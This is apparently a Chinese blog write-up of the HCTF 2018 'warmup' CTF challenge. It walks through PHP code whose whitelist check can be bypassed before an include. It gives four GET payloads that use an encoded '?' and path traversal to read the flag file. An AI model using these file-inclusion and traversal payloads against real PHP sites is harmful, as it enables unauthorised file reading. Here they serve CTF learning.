[ctf]HCTF 2018 warmup超详详详详解

本文详细解析了一段PHP代码,描述了如何通过构造特定的payload,利用源代码泄露(high_file)访问到隐藏的flag。通过分析代码逻辑,找到通过检查的条件,最终成功包含ffffllllaaaagggg文件。讨论了URL编码、文件包含漏洞以及路径遍历等技术细节。
摘要由CSDN通过智能技术生成

打开以后发现是一个jpg图片,查看源代码

发现被注释掉的source.php

访问
在这里插入图片描述

发现了,因为high_file而被泄漏的源代码

发现除了source.php,还有hint.php

我们访问hint.php
在这里插入图片描述

我们知道了flag在ffffllllaaaagggg中

接着我们来分析代码

 <?php  
    highlight_file(__FILE__);  
    class emmm  
    {    
        public static function checkFile(&$page)    
        {      
            $whitelist ["source"=>"source.php","hint"=>"hint.php"]; //白名单列表,可以查看source.php和hint.php            
            if (! isset($page) || !is_string($page)) {        
                 echo "you can't see it";        
                 return false;      
            }      //检验是否传入了page值
A           if (in_array($page, $whitelist)) {        
                   return true;      
            }      //检验page的值是否在白名单里
            $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));  //$page . '?'将page的值后面补了一个问号,通过mb_strpos得到了page中到第一个问号前的长度,并通过mb_substr将此部分赋值给_page    
B           if (in_array($_page, $whitelist)) {        
                   return true;      
            }      //检验_page是否在白名单中
            $_page = urldecode($page);    //将_page解码  
            $_page = mb_substr($_page,0,mb_strpos($_page . '?','?')); //同上上步的操作     
C            if (in_array($_page, $whitelist)) {        
                  return true;      
            }      //检验是否在白名单中
            echo "you can't see it";      
            return false;    
        }  
    }  
    if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])    && emmm::checkFile($_REQUEST['file'])  ) { /*是否传入了file的值,file的值是否为字符串,将file的值放到emmm.checkFile中检验*/   
        include $_REQUEST['file'];    //如果成立,包含file
        exit;  
    } else {    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  
    } 
?> 

整体看过代码后,我们知道,如果有file值的传入,且file为字符串,而且通过了checkFile的验证,则将file文件包含。

那么我们的目的肯定是包含ffffllllaaaaggg

但发现,如果要通过checkfile的验证,叁个if return true的条件皆要使file或file的部分(因为有被截取的_page)为白名单中的source.php或hint.php。

在这里,我们就需要一个知识点

在这里插入图片描述

(此图片来自https://www.likecs.com/show-355785.html)

即,当include后的文件找不到且有路径时,会沿此路径一直找,直到找到文件

我先给出payload(get方式),有四种:

一:?file=hint.php%3f/…/…/…/…/ffffllllaaaagggg

二:?file=hint.php%25%33%66/…/…/…/…/ffffllllaaaagggg(与这种相同的?file=hint.php%253f/…/…/…/…/ffffllllaaaagggg,只是在第二次url编码时,只将%编码了,实际上是一样的)

三:?file=source.php%3f/…/…/…/…/ffffllllaaaagggg

四:?file=source.php%25%33%66/…/…/…/…/ffffllllaaaagggg(第一种和第三种,第二种和第四种实质上是一样的)

如何理解呢

首先,url会自动解码一次

则到达checkfile处的:

一:file=hint.php?/…/…/…/…/ffffllllaaaagggg

二:?file=hint.php%3f/…/…/…/…/ffffllllaaaagggg

我们发现想要在第A个if处,就return ture 并且找到flag是不可能的

在第B个if处,经过前一步的mb_substr,_page变为 hint.php,所以return ture;

然后因为找不到,hint.php?,于是沿着路径四次返回上一层文件后访问ffffllllaaaaggg,找到了flag

这一层文件夹就是有source.php和hint.php的文件夹,所以第三,四种payload也能够访问flag

为什么我们会写出/…/…/…/…/ffffllllaaaagggg这个路径的,我承认我有赌的成分,但其实题目中的ffffllllaaaagggg给了提示,每个字母都四个

这时,我们就很容易理解为什么第三种payload也成立了,因为虽然在第B个if处,我们没能return ture,但是随后,又一次解码,得到file=hint.php?/…/…/…/…/ffffllllaaaagggg

$page . '?'后 page会连接一个问号变为hint.php?/…/…/…/…/ffffllllaaaagggg?

但是mb_strpos返回的是到第一个?的长度,即8

所以mb_substr截取的仍然是hint.php,于是return ture,后续就和上面的一样了

在这里插入图片描述

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值